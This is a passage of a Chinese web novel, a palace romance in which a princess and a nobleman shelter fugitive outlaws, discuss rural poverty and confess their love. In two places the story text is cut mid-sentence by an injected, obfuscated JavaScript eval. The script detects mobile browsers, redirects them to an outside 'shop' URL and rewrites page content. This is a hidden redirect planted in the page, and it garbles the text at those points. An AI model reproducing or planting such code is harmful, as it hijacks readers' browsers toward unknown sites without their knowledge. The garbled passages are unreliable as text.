而萧复也知她没有睡着,背着她也不觉累,只觉得心里甜滋滋的。 他的背脊温暖而可靠,郗萌将脸颊轻轻贴在他的背上,能听到他如擂鼓般的心跳,仿佛正在自己过快的心跳渐渐重合。 秋风拂过,带来他身上淡淡的、混合了秋日草木与阳光的气息,令人安心。她只觉岁月静好,但愿此路漫长,不知不觉竟真的睡了过去…… 或是因为饮酒,或是因为劳累,郗萌回府也未醒,直接沉沉睡去,连晚膳都没用。 外间榻上的萧复,却毫无睡意。他悄然起身,点亮一盏小油灯,昏黄柔和的光线充盈一隅。他再次拿出那个锦盒,取出折扇,在灯下细细端详。 这一次,他看得更加仔细。山的轮廓,路的曲折,还有那两个小人儿的姿态……他甚至能看出某些线条因为反复修改而留下的痕迹。他的指尖慢慢摩挲那个萌萌的笑脸,脑海中亦浮现郗萌的笑颜,二者渐渐融合在一起。他唇角控制不住地向上扬起,勾起一抹温柔至极、还带着几分傻气的弧度。 看了许久,他起身出了卧房,走进了书房,来到靠墙的多宝阁前。他随意地挪开几件摆件,手指在某处不起眼的雕花上轻轻一按,只听一声轻微的“咔哒”声,一小扇隐蔽的暗格门打开。 暗格并不大,里面存放的东西也寥寥无几,却都是他深藏于心的珍宝。一柄木质已经有些发暗的旧木剑,是幼时父亲亲手为他削的;几封边角磨损的信笺,母亲离世前舍不得他,撑着病体写下的谆谆叮咛,亦是遗言;还有母亲留下的一支素银簪子,样式简单却陪了她数年,那时战事四起,为支援前线,母亲节衣缩食,连自己珠宝都捐献了,最后只剩下几件随身的…… 还有一条郗萌的许愿红绸,现在又多了一件。 他将郗萌所赠的素描折扇,小心翼翼地放入其中,与那些他视若生命的旧物并列。合上暗格前,他忍不住拿出折扇,又看了一眼那扇面上那稚拙却充满生机的画作,还有那俏皮的笑脸。 夜色浓重,万籁俱寂。这一方小天地里,珍藏着一份悄然滋长的心意…… 他吹熄了灯,躺回榻上。在黑夜中,他眼睛望向郗萌,即便什么都看不清。他脸上的笑变得复杂,不再那么纯粹,还带着一丝莫名的苦涩与纠结…… 17. 救人 九月初九过后,日子仿佛又恢复了往日的平静。然而这份平静之下,却有暗流在定城之外涌动。 首阳寨的侠匪们,往日里因山寨总在深山老林中不停变换地方,行踪飘忽不定。官府既抓不到,也懒得下死力气去抓,双方维持着一种微妙的平衡。 然而,此番他们在白云寺闹出的动静太大了,让当朝王爷、公主受惊。还有端王临走时督促剿匪的命令,定城太守担心乌纱不保,下了严令,务必要剿灭这伙“无法无天的狂徒”。 官府调集重兵,围住了首阳寨时常活动的几处山头,来势汹汹。 虽然首阳寨的好汉个个悍勇,凭着地利与官兵周旋,首战挫败了官府的先锋小队,让对方损失了几十人,但正面遇到装备精良、人数众多的大部队,就难以与之抗衡了。 几次遭遇战下来,首阳寨人手折损甚多,钱粮物资也损失惨重。原本百余人的队伍,如今只剩下十几个核心弟兄跟着林澄霁杀出了重围,狼狈地躲入了更深的山中,处境岌岌可危…… 萧复自白云寺归来,便一直留意着首阳寨的动向。他虽不认同林澄霁那等草莽行事,却也欣赏其人的磊落与侠气。听闻他们遭此大难,几乎覆灭,心下不免唏嘘。 他暗中命徐决调动人手,寻觅林澄霁等人的踪迹。幸得上天垂怜,也是因官兵在损失了近百人后放松了追击,终于让他们寻到了林澄霁等人的藏身之处。 首阳寨众人只与徐决有一面之缘,本不太信任他,可情况危急,也只能“死马当活马医”了。 徐决等人助首阳寨余众金蝉脱壳,并将这仅存的十几人秘密安置在了定城远郊的一个不起眼的村落里,分散在几户可靠的村民家。名义上说是自家的镖师在外遇到了劫道而受伤,暂在各家疗伤休养,萧复将给每家钱财贴补。 安置人的石隐村里有许多是萧府的佃户,种着他家的地,与萧府关系一直融洽,将首阳寨众人安排在此,萧复也算放心…… 郗萌这几日见萧复总与徐决嘀嘀咕咕,徐决还成天往外跑,都不在萧复身边护卫了,令她心生疑窦。 清晨,徐决又出了门,只剩萧复独在院中,郗萌屏退左右,上前问道,“怎么了,生意上出问题了吗?” “不是,是……”萧复将首阳寨的情况低声解释给她听。 郗萌听闻,脑海立刻回想起那位小麦肤色、眉眼不羁的年轻寨主,虽只有一面之缘,但他那爽朗磊落、惩恶扬善的作风,让她颇为欣赏。 “他们现在怎么样了?” “他们没什么大事,暂时隐匿在村子里养伤。”萧复心知藏在石隐村也不是长久之计,还得尽快将他们安排至别处。 “你怎么不早告诉我?这几天神神秘秘的,让我担心。”郗萌假意嗔怪道。 “这种事还是越少人知道越好”,萧复见郗萌埋怨的目光,解释道,“其实,我准备事情平稳了就告诉你,没想到你先问了。” “算了,不纠结这些了。”郗萌转念一想,“他们被官府追杀了这些天,吃不饱穿不暖,还受了伤。那村子的条件听起来也不太好,他们别再病情加重了。要是好汉含恨而终,挺让人伤感的……” “这我也想到了,已经采买了所需物资,本来准备今天就送过去。还想安排个厨娘,照顾好他们的饮食。”萧复细致回道。 提到厨娘,郗萌想到了林嫂,觉得她干活细致、勤勤恳恳,烧菜做饭都是一把好手。 “让林嫂去吧,她为人善良稳重,手脚也麻利。”郗萌想了想又道,“再问问她本人的意见吧,我也不好独断专行。” 萧复立刻唤来丫鬟,命她将林嫂叫来…… 林嫂听完事情原委,也很敬佩首阳寨好汉的所作所为,“我愿意去石隐村,但还请让我带着小宝去。” “那没问题,但这样你会不会太辛苦?”郗萌有些后悔自己的提议。 “您言重了。小宝去乡下,见到村里的孩子,说不定玩的更好了。给十几个人做饭,也没什么的。”林嫂浅笑回道。 “那好,你去准备吧,待会儿和拉物资的车一起走。”看着林嫂离开,郗萌也想去石隐村看望首阳寨的人,转头看向萧复,试探问道,“我能跟着去吗?” “你去干嘛呀?”萧复无奈道,明显不想让她涉险。 “慰问英雄嘛。”郗萌扯了扯萧复的袖子,眼里透着一丝好奇与担忧,撒娇道,“我也想去看看。整日待在府里,闷得慌。” “您哪里整天待在府里,昨天午膳不刚在醉仙楼用的吗?”萧复戳穿了她的话。 郗萌顿时无语,尴尬的朝萧复笑了笑。 萧复受不了她的卖萌撒娇,心头一软,叹了口气,“好吧,我和你一起去吧,再多带些护卫。等咱们车马到了城外地界,找个隐蔽之处,都换上粗布麻衣,扮作寻常村民模样,再乘另外备好的马车去石隐村。还有,让部分丫鬟、下人换上咱们的衣服,留在城外盘旋片刻,再乘车返城。” 郗萌顿觉萧复安排得周密,恭维道,“这计划完美,我都听你的。” 于是,一行人按计划低调地离开王府,潜入了那座笼罩在暮色中的静谧村落…… 石隐村远离城镇,村舍稀疏,鸡犬相闻,颇有几分世外桃源之感。 一农家小院柴扉半掩,屋内灯火如豆。 萧复和郗萌阔步走进院子,林澄霁抬眼见是他们,明显一愣,尤其是看到一身村姑打扮却难掩丽质的郗萌,更是愕然。 随即他抱拳深深一礼,声音带着劫后余生的沙哑,“世子,公主?!你们怎么亲自来这儿了?” “林寨主不必多礼,就是来看看你们。”萧复虚扶一下,目光扫过院中或站或坐的汉子,“各位英雄的伤势如何?” “都是皮外伤,养些时日便好了。只是折损的那些兄弟回不来了,我真是……”林澄霁还未说完,想起浴血而亡的兄弟不禁虎目一红,内心责备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他“噗通”一声跪倒在地,对着萧复和郗萌再次郑重感谢,其他首阳寨的人也应声跪地。 “世子,公主!你们不仅救了我林澄霁和众兄弟的性命,更早早就救了我嫂子和小侄!大恩大德,无以为报。从今往后,我林澄霁这条命,就是世子和公主的了,对您们绝对忠心无二!但有差遣,万死不辞!” 萧复连忙将他扶起,也示意其他人起来,谦逊道,“林寨主、各位好汉请起,男儿膝下有黄金,不必行此大礼。一切都是缘分使然,当日救助林嫂,不过是举手之劳,恰逢其会而已。救你们,是佩服诸位行侠仗义的品行,不忍你们英雄折戟,无需太过挂怀。” 虽然他话说的轻描淡写,但心中亦是感慨,这冥冥之中的关联。他也明白,经此一番,林澄霁对自己是打心眼里服气了。 众人心情稍定,围坐分食简单的饭菜。 席间,萧复被护卫路云叫出了小院,好像是有位农民要找他说话…… 18. 疾苦 一路颠簸,郗萌的胃口大减,吃了几口饭菜就饱了,闲来无事问林澄霁为何落草为寇。 林澄霁是个爽快人,面对恩人,自然也是知无不言言无不尽。他抹了把手,说起了旧事。 他小时候是给地主家放牛的,因为为人豪爽、讲义气,经常替被欺负的孩子出头,成了村里穷孩子的孩子王。有一年闹灾荒,他眼见一个玩伴快要饿死,他一时豪气上涌,偷偷宰了地主家一头牛,架起火堆烤了,把牛肉分给了所有饿得眼冒金星的伙伴们吃。 “那肉,真香啊……”林澄霁眼神望向虚空,仿佛又回到了那小伙伴们都吃得饱饱的晌午,“后来,东家发现牛少了,让我家赔钱。我爹只好把家里那点薄田卖了,才勉勉强强赔上。自此我们就成了他家的佃户。我娘因这事儿气的一病不起,不久就去了……家境艰难,我哥去外地找营生,说挣了钱就回来,可就成亲回来了那一次。后来,我爹又累病了,花了不少钱治病,可病没好人也没了,还欠了东家许多钱。房子给了东家还不够抵债。我当时感觉活着没什么劲儿了,也不想再被地主那家人呼来喝去,就找机会跑进了首阳山,正巧碰到老寨主,就随他落了草。” 郗萌听得入神,心中无限唏嘘,忍不住用她那马列专业的底子,为林澄霁排解起来,“这不是你一个人的事。历朝历代,土地兼并都是大问题,王朝兴替根源于此。‘富者田连阡陌,贫者无立锥之地’。很少有地主是靠一双手干出来的,大多带着些不法积累,他们依靠权势和资本,不断吞并小农的土地,失去土地的农民只能沦为佃户,忍受盘剥。一层层下来,财富越来越集中,底层的活路就越来越窄。你这事,算是历史滔滔洪流里的一朵小浪花,却一下就把你的家冲没了……” 林澄霁听得似懂非懂,但觉得这话说到了根子上,他眼睛一亮,急切地问,“公主,您真是有大学问的人!那您说,怎样才能避免这种事?让老百姓都能有自己的地,过上吃饱穿暖好日子呢?” 郗萌被他问得一怔,随即苦笑着摇摇头。封建社会几千年,新社会是经过多少新思想洗礼、多少先辈抛头颅洒热血才建成的,这过程千难万险…… “难啊。说到底,人的欲望无止境。历史上有多少有识之士,在贫贱困苦之时,立志要为国造福、为民请命,要澄清吏治,还天下海晏河清。可一旦身居高位,手握权柄,又有几人还能守住初心?多少人变得更贪、更恶?成为了自己当年最厌恶的那种人。利益会腐蚀人心,权力会让人迷失……” 郗萌内心慨叹,多少人背叛了自己的出身阶|级? 林澄霁不可置信地盯着她,目光里充满了惊奇与钦佩,“您懂的真多。” 郗萌被他看得有些不好意思,自嘲地摆摆手,“多啥呀?我也就是站着说话不腰疼,纸上谈兵,骗骗你这没读过书的罢了。不过”,她语气转而坚定,“但幸好,每个黑暗的年代,也总会涌现出许多救国救民的大英雄。其实,真正的力量来自于人民,那人数最多的平民百姓,人民才是创造历史的英雄。所谓‘合抱之木,生于毫末;九层之台,起于累土。’再伟大的事业,也是从一点一滴积累起来的,也是一个一个人做起来的。” 林澄霁听得心潮澎湃,胸中一股豪情激荡,他攥紧拳头,朗声道,“我也想成为那样的一个英雄!为这天下穷苦人,争一条活路!” 郗萌被他这质朴而炽热的愿望触动,想起那句振聋发聩的古话,脱口而出,“好!就得有这般志气!‘舍得一身剐,敢把皇帝拉下马’!‘王侯将相宁有种乎?!’” 她话音刚落,萧复便推门匆匆而入,脸上带着一丝无奈与警惕,压低声音道,“我的公主殿下,林兄弟,慎言呐!这话也是能随便说的?莫要再瞎说了,小心隔墙有耳。” 其实,他早在屋外听了一会儿,对郗萌那番“人民史观”的论调既觉新奇又感震撼,但最后那两句,着实把他惊出了一身冷汗,忍不住进来阻止。 郗萌知道自己刚刚激动了,全然忘了自己的身份就是公主,最大的剥削阶|级之一。她不好意思得笑了笑,不再多言。 林澄霁也意识到失言,憨厚地挠了挠头。 郗萌赶忙转移话题,好奇地问,“刚才找你有什么事?” “做善事。”萧复“阴阳怪气”道,“穷苦的老百姓,因为家里有人生病,误了农活儿。听说我来了,求我减今年的租子,说会明年补上。您在这高谈阔论,我怎么好扯后腿?当下就同意了,还不算他利钱。” 郗萌闻言莞尔一笑,拍了拍萧复肩膀,对众人自豪地说,“看看,这就是先进的地主,懂得百姓疾苦,不往死里压榨穷人。” 这话弄得哄堂大笑,萧复也无奈的陪笑了一声,“这次的事确实挺麻烦石隐村的乡亲们,我本来也想给他们减租子的。如此一来,我也就做个顺水人情。” 这时,林嫂进屋收拾碗碟,郗萌也想搭把手。 “您身份贵重,就放着吧,我来就行。”林嫂忙道。 “嗐,别这么客气”,郗萌指指身上的粗布麻衣,“今儿都是普通村民,没有那么多事,一起干吧。” 林澄霁见状眼神示意首阳寨众人,众人会意一起帮忙收拾,将碗碟都拿了出去,房间都打扫干净。 完事,郗萌陪着林嫂、小宝坐着板凳仰望星空,还唱“一闪一闪亮晶晶”的儿歌哄孩子。 首阳寨其他人在院里耍起了拳脚…… 屋内只剩萧复与林澄霁二人。 林澄霁见萧复还是一脸恨铁不成钢的模样,打趣道,“世子,公主懂得多,长得俊,性格直,心肠还好,真是个不可多得的好媳妇。刚才跟我还挺聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971050|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得来,你明知我的心思,就不担心我哪天把她拐跑喽?” 萧复斜睨了他一眼,嘴角勾起一抹自信而慵懒的弧度,语气却斩钉截铁,“我们情比金坚。你,没那本事。” 林澄霁被噎了一下,看着萧复那副理所当然的模样,只能翻个白眼,彻底无语…… 郗萌与萧复在石隐村歇息了一晚,翌日清晨便听到徐决带来的紧急消息。因端王严令,官府要加大搜查力度,即将排查到这一带村落。 萧复觉得此地不宜久留,当机立断找到林澄霁,将事情原委悉数告知。 “林寨主,你和诸位弟兄的伤也需换个更安稳的地方将养。”萧复说着提议道,“我在邻州有一处‘坦源货栈’,正缺些可靠的镖师押运货物。各位好汉若是不弃,可愿暂时屈就?一来避避风头,二来也算有个正经营生。” 林澄霁此刻对萧复已是死心塌地,毫不犹豫地抱拳道,“全凭世子安排。我们弟兄们虽说都是粗人,但都有一把子力气,走镖护货,绝无问题!” 事情就此定下。当夜,林澄霁和他手下十几名精干的弟兄,全跟着徐决等人,悄无声息地转移出了石泉村,前往邻州的坦源货栈…… 回到萧府后的几日,郗萌还担心首阳寨的众人被逮到,更担心萧复受到牵连。 当晚“夜谈会”,郗萌向萧复询问近况。 萧复说首阳寨的众人已经暂时安全了,只是官府此次剿匪,雷声大,雨点也大。而这雨点,却都落在了寻常百姓身上。那些官差衙役,借着搜查匪寇余孽的名头,挨家挨户盘剥,索要“剿匪捐”,稍有反抗便扣上“通匪”的帽子,闹得鸡飞狗跳,民怨沸腾…… 郗萌听着心下甚寒,裹了裹身上的被子。可这点温暖抵不过“气抖冷”。 她想起林澄霁的悲惨遭遇,想起林嫂的颠沛流离,再看官府如今的所作所为,心情异常沉重,叹道,“剿匪安民?真是会巧立名目。匪剿不了,但借着剿匪捞钱倒是大有可为,可怜老百姓又要被剥去一层皮。水能载舟,亦能覆舟。这样的朝廷,这样的官府,根基早就腐烂得一塌糊涂,又如何能长久?如此下去,岂不是自取灭亡……” 萧复听完若有所思,但还是劝道,“您别忧心了,许多事不是人力可为的。而且这可是您家的天下,不好如此说,想来太子他们不会眼看着朝廷烂掉。咱们过好自己的日子就行了。” 秋风透过缝隙吹进,带着深秋的寒意,吹动了窗棂的风铃,似乎也吹皱了她心湖的平静。她隐约感觉到,这看似平静的定城、看似平静的天下,已经暗流汹涌…… 她第一次,如此清晰地触摸到了这个时代冰冷而残酷的脉搏。她以往被保护的太好,每天无忧无虑,完全没看到民间疾苦。经此一事,令她陷入了深深的思考,可满满的无力感又让她不知所措…… 19. 衷情 秋意渐浓,庭院里那几株枫树已红得如霞似火。 剿匪之事轰轰烈烈闹了一阵,官府杀了些地痞无赖草草交差了事。林澄霁等人也算是安全过关了,萧府里的日子又不咸不淡的过着。 然而,这份难得宁静被突如其来的消息打破。萧家坦源货栈与通源钱庄的生意,几乎同时出了些棘手的问题。坦源货栈常走的押镖路线近来总遇流寇,虽然有惊无险,但急需开辟新路。而通源钱庄收到数张伪造的银票,还有人要恶意挤兑,都需要萧复亲自主持大局,去妥善处理…… 临行前夜,月华如水,清辉遍洒。萧复与郗萌对坐在石桌旁,喝着清茶、赏着明月,偶尔听听小祈愿树的树叶摆动声,很是惬意。 “此去大概半月有余,”萧复抿了口茶,语气如常,“府中诸事,钟管家会打理,你若有吩咐,直接找他便好。” 郗萌捧着微烫的茶杯,指尖无意识地摩挲着杯壁,望着月光下他剑眉星目的侧脸,心头莫名有些空落落的。她欲言又止,犹豫了一下,还是轻声问,“此番路远,你……你路上会不会想我?” 萧复闻言,眼中闪过一丝惊讶,最终化作眼底一抹极淡的笑意。他故意侧过头,装作思索的模样,语气带着几分漫不经心,“嗯……可能不会,这回事儿挺多,挺麻烦的,怕是没空想你。” 郗萌一听,小嘴立刻微微噘起,还没来得及表达不满,又见萧复仿佛忽然想起什么,补充道,“不过,林寨主前几天来信,倒是顺带问了你一句。他应该会想你。” 萧复想起,在石隐村二人相谈甚欢,林澄霁找她套近乎的模样让他还真有点吃味。此时不禁开口逗她,也是一种试探。 郗萌自然听出萧复是故意这么说的,顿时又气又好笑,瞪了萧复一眼,随口道,“不稀罕,哼。” 看她这般反应,萧复心中那点试探得到了答案,他明白了她的心意。一股难以言喻的窃喜如春水般漾开,面上却不动声色。 “那稀罕谁?”萧复反问。 气氛瞬间微妙,郗萌压下那点小别扭,没有正面回答他的问题,反而叮嘱道,“出门在外,万事小心。少喝点酒,那东西是一级致癌物,对身体不好。” “一级致癌物?”萧复重复着这个陌生的词汇,虽不解其意,但她话语里那份真切的关心如同暖流,瞬间熨帖了他的心扉。 他忽然放下茶杯,情不自禁得倾身过去,长臂一伸,将郗萌轻轻地拥入了怀中,在她耳畔低语道,“谢谢。” 这个拥抱来得有些突然。 萧复平日里虽言语轻佻,但行为上极少这般逾矩。 郗萌猝不及防地被他带入那温热的怀抱,整个人都僵住了,心跳骤然失序。 “你,你这是什么意思?”她靠在他的肩头,声音颤抖,带着一丝慌乱。 萧复没有立刻回答,只是手臂微微收紧,感受着怀中人的温软。过了片刻,他才低声在她耳边道,“等我回来。等下次在这树下赏月时,我再告诉你答案。”他顿了顿,声音里带着一种难以言喻的复杂情绪,“我总觉得……你不是以前的你。” 这句话像一根针,轻轻刺中了郗萌心底最深的秘密。她猛然从他怀中抬起头,直视他的墨眸,语气异常坚定,“我不是以前的郗宝,我就是我!” 她多想告诉他真相,她是来自另一个世界的灵魂,她不是那个骄纵恶毒的翌阳公主!可一股无形的力量扼住了她的喉咙,那些关于穿越的字眼,无论如何也说不出口,让她无法脱离郗宝的身份。 她只能急切地、近乎执拗地强调,“萧复,你看着我的时候,别把我当成以前的郗宝,行吗?” 她只想萧复眼中之人是她郗萌。 萧复深深地望进她清澈而急切的眼眸,那里没有初入府时的算计与骄横,只有一片他越来越熟悉的澄澈与真诚。他虽不明白这其中全部的缘由,亦不明白郗萌的话中深意,却还是郑重地点了点头,承诺道,“好。” 翌日,萧复启程前,他竟从袖袋中取出一只雪白绒毛、棕色眼睛的小奶猫。小猫蜷缩在绒布上,发出细弱的“咪呜”声。 “给你。”萧复将小猫递给郗萌,“若是没人陪你聊天,可以跟它说说话、解解闷。”他语气依旧随意,但目光透露出一丝不舍。 郗萌小心翼翼地接过小猫,低头看那团柔软的小东西,心里又好笑又甜蜜。府里那么多人,哪里还能缺说话的?这借口,找得可真生硬。 郗萌边逗猫边问,“它真可爱,有名字吗?” “没有,你取吧。”萧复温柔道。 郗萌一时也想不出什么“惊世骇俗”的名字,就说了个普通的,“就叫‘小咪’吧。喵、喵……” 萧复眼神缱绻的看着郗萌,笑容愈加温柔,徐决轻咳了两声,才把他拉回现实。 “我先走了。天冷了,别着凉。”萧复临行叮嘱道。 “嗯,你路上也注意安全。”郗萌有些依依不舍。 萧复微微颔首,转身走上马车,帘子落下那一刻又深深地看了她一眼。 望着一行人远去的身影,郗萌突然有点想他了,这才刚刚分别而已…… 萧复不在府的日子,虽然依旧吃喝不愁,但郗萌总觉得百无聊赖,时间仿佛变得格外漫长,她只能成天逗小猫玩。 小咪生性活泼好动,对什么都充满好奇,尤其喜欢去扑廊下鸟笼里的银铃,常常惹得那只惜字如金的黄莺不满地扑棱翅膀,啾啾地抗议。 郗萌还真如萧复所言,有许多无法对人言说的心事,小咪便成了她倾诉的对象。她常常自己一个人抱着小咪,坐在窗前或祈愿树下絮絮叨叨。 “小咪,你说他什么时候能回来?” “他都说不想我了,我干嘛还要想他?!哼!” 小咪通常只是懒洋洋地舔舔爪子,或用那双浅棕的圆眼无辜地望着她,仿佛在说,“我只是一只小猫咪,不懂你们人类复杂的情感。” 有一天,郗萌摸着小咪柔软的毛,喃喃自语,“我为什么会总是想他,担心他……难道,难道……真是喜欢上他了?” 她将发烫的脸颊埋进小咪温暖的绒毛里,这是她一直在逃避的问题。她作为穿越者,她不敢喜欢上一个NPC,可她的心却又不听她的,慢慢向萧复靠近。 思念的潮水汹涌,冲破了那层理智,她确实喜欢上了萧复。 “在这个异世界里,我本以为自己会一直孑身一人,无依无靠。可为什么,有时候会觉得,有他在就很安心,他是个很好的依靠……” …… 时光不居向前,一月时间匆匆而过。 在郗萌数到第三十日时,萧复终于在傍晚姗姗归来,却是带着伤回来的。 徐决扶着他进府时,他脸色苍白,走路有些迟缓。面对郗萌焦急的询问,他只轻描淡写地说,是路上遇到了流寇,不小心挨了一下。 待回到房间,将萧复安顿到榻上,郗萌关切道,“到底伤哪儿了?我看看。” 萧复没有说话,轻轻掀开左边的广袖。 只见他左上臂缠着厚厚的纱布,隐隐透出血色。 “疼吗?”郗萌撇嘴问,眼眶瞬间红了。 萧复不想她这般担心,一反刚才的坚强之态,委屈道,“哎哟,可疼了。当时我都怕贼人把我砍死,再也看不到你了。” 郗萌知道他是在故意逗自己,可悬着的眼泪还是落了下来,“别说笑了,这时候还没个正经。” 萧复心疼的用右手帮她擦去眼泪,轻松笑道,“没什么事,过几日就好了。” “你好好歇着,我让人给你准备晚饭。”郗萌边起身边“埋怨”,“说好半个多月回来,这都一个月了,也不提前告诉家里回来的确切消息,还弄成这样……” “公主殿下,微臣知错了,您大人不记小人过,原谅则个。”萧复拱手“认错”道。 郗萌轻叹一声出了房间,命人准备些清淡好消化的饭菜。但刚回来时,她看见萧复眉宇间有股挥之不去的疲惫与深沉,总觉得事情没那么简单。她单独唤来徐决,再次询问萧复受伤的原委,徐决也只说是流寇。她想既然如此,就等有机会再问萧复吧…… 郗萌风寒之时是萧复衣不解带的悉心照顾,现在双方身份互换,变成她亲自给他端水送药。 “手疼,你喂我喝。”萧复身穿亵衣,在床上倚着落枕,无赖道,“行吗?” 看着萧复期待的目光,郗萌顿时心软,说了句“好”,接过晓福手中的药碗,温柔地将汤药一口一口喂给他。 本来挺苦的药,此刻萧复竟然甘之如饴。 郗萌喂完药,用手帕轻轻擦去萧复嘴角的药渣,目光无意对上他那深情的眼眸,不禁心跳漏半拍,不好意思继续对视。 她为缓解这暧昧的气氛,随口问道,“你身上的伤什么时候换药?” “这会儿就该换了。要不劳烦你再动动手,一事就不烦二主了。”萧复有些“得寸进尺”。 郗萌望着屋里的晓福和徐决,不好意思当众扒他衣服换药,也怕自己笨手笨脚弄巧成拙。 萧复看明白了她的顾虑,向徐决递过去一个眼神,对方心领神会。 徐决立即将敷伤口的金疮药、纱布、烈酒,以及一盏小油灯放到床头的凳子上。而后,与晓福低语了一句,二人便告退出屋,房间只剩下郗萌与萧复。 见“事已至此”,郗萌也不再矜持,伸手去解萧复的衣带,眼睛却不敢瞧他,“我没干过这活儿,一会儿弄疼了,你忍着点昂。” 萧复歪着脑袋,一副看戏的表情,只道,“没事,我信你。” 郗萌磨磨唧唧,总算将萧复的上衣脱下。原来他不仅左上臂受伤了,连左 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萧复喉结滚动了一下,幽深的眼眸瞬间暗沉下来,里面翻涌着压抑已久的情愫。他情不自禁地俯身,想要靠近那近在咫尺的红唇,却因这动作牵动了伤口,不由得闷哼一声,眉头微蹙。那旖旎的气氛霎时被驱散了几分,只剩心猿意马在胸腔里鼓噪。 郗萌脸上绯红,连忙收敛心神,帮他仔细包扎好。 空气里弥漫着一种无声的暧昧,让两个人进退失据。 郗萌想起他临行前夜的话,勇敢地抬眸望向他,“你走之前说,回来有话告诉我。是什么?” 萧复看着她灯光下微红的脸颊,还有那双明亮而真挚的眼眸,心中那份悸动更加猛烈,却还是极力控制,低声道,“你知道的,还用我明说吗?” “用。”郗萌执拗地看着他,心跳如擂鼓,期待着一个答案。 萧复凝视着她,“好,我说。” 他深吸了一口气,仿佛鼓起了莫大的勇气,声音低沉而清晰,一字一句道,“吾心悦汝。”他顿了顿,目光诚挚无比,“不是因为你公主的身份,也不是因为任何其他。只是经过这些时日的相处,渐渐对你倾心。我的眼睛总是不自觉地围着你转,特别喜欢看你笑,看你吃东西时满足的样子,看你偶尔发呆出神的模样……跟你在一起,哪怕什么都不做,也觉得很开心,让人能忘记很多烦恼。几日不见你,我心里就空落落的,做什么都不得劲。” 言罢,他深深地望向郗萌,“那你呢?” 郗萌听完他这番不算华丽却无比真挚的告白,嘴角控制不住地向上扬起,心里像炸开了一朵甜蜜的烟花。她瞥了他一眼,低头笑道,“明知故问……” 萧复也满意得笑了,带着点如释重负的轻松和得意,“你刚才不也一样吗?” 气氛恰到好处,郗萌却忽然想起一个至关重要的问题,她收敛了笑容,认真地问,“萧复,你以后还会喜欢别人吗?还会纳妾吗?” 萧复迎着她认真的目光,神色坦然而坚定,“以前,我不懂何为真爱。流连烟花柳巷,不过是虚情假意,用来麻痹自己,也是做给朝廷看,避免他们生疑。我此生最羡慕的,便是我父母一生一世一双人。我曾经渴望遇到一个能携手相伴、心意相通之人”,说着他握住了她的手,目光灼灼,“现在,我找到了,也认定了。我心中的那个人,就是你。一生也只有你。” 这番承诺比任何情话都更动人心弦。 郗萌激动地依偎进他怀里,听着他沉稳有力的心跳,只觉得无比安心。她羞涩地低下头,呢喃道,“我……我本不该这样的,可是……有点忍不住了。” “我早就RBZ了……”萧复低声回应,温柔地环住她纤细的腰肢。 郗萌耳边传来“好软”的蜜语,她不好意思地轻推了他一下,娇嗔一声,“讨厌……” 所有的心意都已坦白,所有的障碍都在这一刻消弭。情感的闸门一旦打开,便如洪水倾泻,再也无法阻挡。 床头烛台氤氲出朦胧的光晕,二人的眼中只有彼此。 萧复俯下身,轻柔地覆上那渴望已久的樱唇,柔软相触,熨贴入心。初时是轻柔的试探,如同蝴蝶掠过花蕊,带着无比的珍视。 这是郗萌的初吻,她生涩地回应着,感官被无限放大,轻微的触碰也带来一阵阵似过电般的酥酥麻麻,让她浑身微微颤栗。 他的吻逐渐加深,带着不容抗拒的温柔与强势,辗转深入,攫取着她的呼吸与甜蜜…… 郗萌细嫩白皙的肌肤,在朦胧烛光下,染上了一层娇滴滴的玫瑰色,如同盛放的花朵,诱人采撷。 萧复的指尖带着灼人的温度,在她凝脂般的肌肤温柔流连,所到之处,皆点燃一簇簇火焰。 爱海浮沉,浪潮汹涌,郗萌如一叶扁舟,在惊涛骇浪中紧紧依附着他这唯一的浮木,随波逐流,直至化鲲为鹏直飞云霄…… 窗外,秋风拂过祈愿树,枝叶发出细微的沙沙声,仿佛在为有情人低吟浅唱…… 20. 转移 不知过了多久,风停雨歇,二人依偎在一起。 郗萌浑身酸软地蜷在萧复怀中,脸颊贴着他温热的胸膛,听着那尚未平复的激烈心跳。 寂静中,萧复低沉的声音响起,带着一丝不易察觉的忐忑,“你会嫌弃我吗?嫌弃我没什么大本事,只是个无所事事的纨绔子弟?” 郗萌闻言,慢慢抬起头,在黑暗中望向他的脸,“你太谦虚了。我看得出来,你在藏拙,根本不是什么‘地主家的傻儿子’。七夕那会儿你背我,脸不红心不跳,气息平稳,我就猜你应该有点武功底子,只是不愿外露。还有,这府里府外的生意,看似你在玩乐中经营,实则井井有条,算的上是行家里手。不然,仅凭朝廷那点微薄的供养银,哪够这一大家子的开支?你呀,精明着呢,扮猪吃老虎。” 萧复沉默了一瞬,环抱她的手臂收紧了些,低头亲了亲她的发顶,略带歉意道,“抱歉,我对你有所隐瞒……” 郗萌手指在他的胸肌上随意画圈,轻描淡写道,“你不说,自有你的道理和难处,我理解。亡国遗少能活下来已属万幸,必须处处小心谨慎,如履薄冰。‘自污其身’、装疯卖傻,也是种挺常见的明哲保身的办法。” 说着,她想起了原书关于瑞庆帝未族灭萧家的缘由。 当年齐国连年干旱、战事频发,百姓生活困苦不堪,那时萧复祖父身为齐国皇帝,可怜百姓苦楚,亦深感战事无望,临终前让太子萧渊投降梁国,主动献上前朝传下来的玉玺,同时将此事昭告天下,惟愿以悠悠众口保萧氏皇族性命。后来,瑞庆帝果然派使者与萧渊在漓水盟誓,封萧渊为山阳王,降爵世袭,每年依例拨放供养银,全家迁往梁国定城居住,看似供养,实则软禁;并承诺保全投降的萧氏宗室的性命,但要没收其全部家资,令其自谋生路;亦承诺不伤投降的百姓性命…… 